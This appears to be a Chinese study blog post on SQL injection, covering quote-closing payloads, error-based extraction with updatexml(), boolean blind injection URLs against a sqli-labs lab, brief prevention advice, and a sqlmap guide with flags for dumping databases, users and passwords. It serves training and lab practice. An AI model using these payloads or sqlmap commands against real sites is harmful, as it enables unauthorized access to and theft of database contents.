Sql注入和sqlmap的使用
2023-4-18
| 2023-4-18
0  |  0 分钟
type
status
date
slug
summary
tags
category
icon
password
 

Sql注入

sql的注入,可以使用#注释,or关键字判断等手段使原本的sql查询数据部分形成闭合。
select uid email from user where username = '1'or 1 = '1'
1'or 1 = '1
where username like '%xx%' or 1=1 #%'
where username =('xx') or 1=1 #')
notion image

基于报错的信息获取

常用的报错函数updatetexml() extractvalue() floor()
基于函数报错的信息获取(select/insert/update/delete)
思路:
在MYSQL中使用一些指定的函数来制造报错,从而在报错信息中获取设定的信息。
select/insert/update/delete都乐意使用报错来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误是会输出在前端。
三个常用的用来报错的函数
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor():MYSQL中用来取整的函数。
Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:UPDATEXML(xml_document,Xpathstring,new_value)
第一个参数:fiedname是String格式,为表中的字段名。
第二个参数:Xpathstring(Xpath格式的字符串)。
第三个参数:new_value,String格式,替换查找到的符合条件的。
Xpath定位必须有效,否则会发生错误。
notion image
notion image
返回结果
notion image
此时的5.7.21在返回时被吃掉一部分,可以用concat()来进行处理
kobe' and updatexml(1,concat(0x7e,version()),0)#
notion image
0x7e为~的16进制
返回结果为
notion image
notion image
notion image
编写GET请求是需要转换为url编码,可以使用Convert selection-url-url encode key characters
notion image
notion image

盲注

notion image
所谓盲注便是在服务器没有错误回显的时候完成的注入攻击。sql盲注主要分为三类,分别是布尔盲注、延时盲注(也叫时间盲注)、报错盲注。
步骤示例
1.测试注入点
#id 处存在注入点
2.测所在数据库长度
3. 利用ASCII码猜当前数据库名
http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+
http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),2,1)))=101 --+
以此类推,可以通过ASCII码所对应的值得到数据库名。
4.利用ASCII码查询表名
具体查询过程跟查数据库名基本一样
http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101 --+
过程跟上述命令类似,只是有少许不同,相关的一些命令会在后面给出
5、利用ASCII码查询字段名
http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))=105 --+
sql手注所用到的函数总结
length() #返回字符串的长度
substr() #截取字符串 (语法:substr(str,pos,len);)
ascii() #反回字符的ascii码
如上所述,利用手注进行盲注非常麻烦,因此我们可以利用工具进行sql注入
————————————————
版权声明:本文为CSDN博主「吃泡面不喝汤」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_55710577/article/details/124056911

sql注入漏洞的防范

代码层面
1.对输入进行严格的转义和过滤
2.使用预处理和参数化
网路层面
1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
2.云端防护(360网站卫士、阿里云盾等)

sqlmap

使用sql需要搭建python环境
安装成功后配置环境变量
notion image
输入python可以查看是否配置成功
notion image
notion image
在官网下载解压包后运行sqlmap.py文件 官网http://sqlmap.org/
notion image
探测是否存在sql注入漏洞
对于不用登录的网站,直接指定其URL:
对于需要登录的网站,我们需要指定其cookie
我们可以用账号密码登录,然后用抓包工具抓取其cookie填入
sqlmap -u "http://7482edb329864d0791b046e434ca34c8.app.mituan.zone:8080/WebGoat/start.mvc" --cookie="jAG0lqsk7DVezykl2PPeljhIQrM8nHig77Oo_ZjB"
JSESSIONID= jAG0lqsk7DVezykl2PPeljhIQrM8nHig77Oo_ZjB
sqlmap.py sqlmap -u "http://www.baidu.com"
sqlmap.py sqlmap -u "http://www.baidu.com" --cookie="抓取的cookie"
POST请求使用抓包工具将数据包写入txt文件,放入sqlmap目录
sqlmap -r qq.txt
参数说明
  • r REQUESTFILE 从一个文件中载入HTTP请求。
  • p TESTPARAMETER 可注入的参数
  • -level (sqlmap -r 情况下)
共有五个等级,默认为1, sqlmap使用的payload可以在xml/payloads.xml中看
到,自己也可以根据相应的格式添加自己的payload
level>=2的时候就会测试HTTP Cookie
level>=3的时候就会测试HTTP User-Agent/Referer头
level=5的时候会测试HTTP Host
基本格式:sqlmap -r 1.txt --level=?
  • dbms 指定数据库
–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
pikachu靶场通关
  • 靶场
  • SSRF-服务端请求伪造Spring Security OAuth2 远程命令执行漏洞
    目录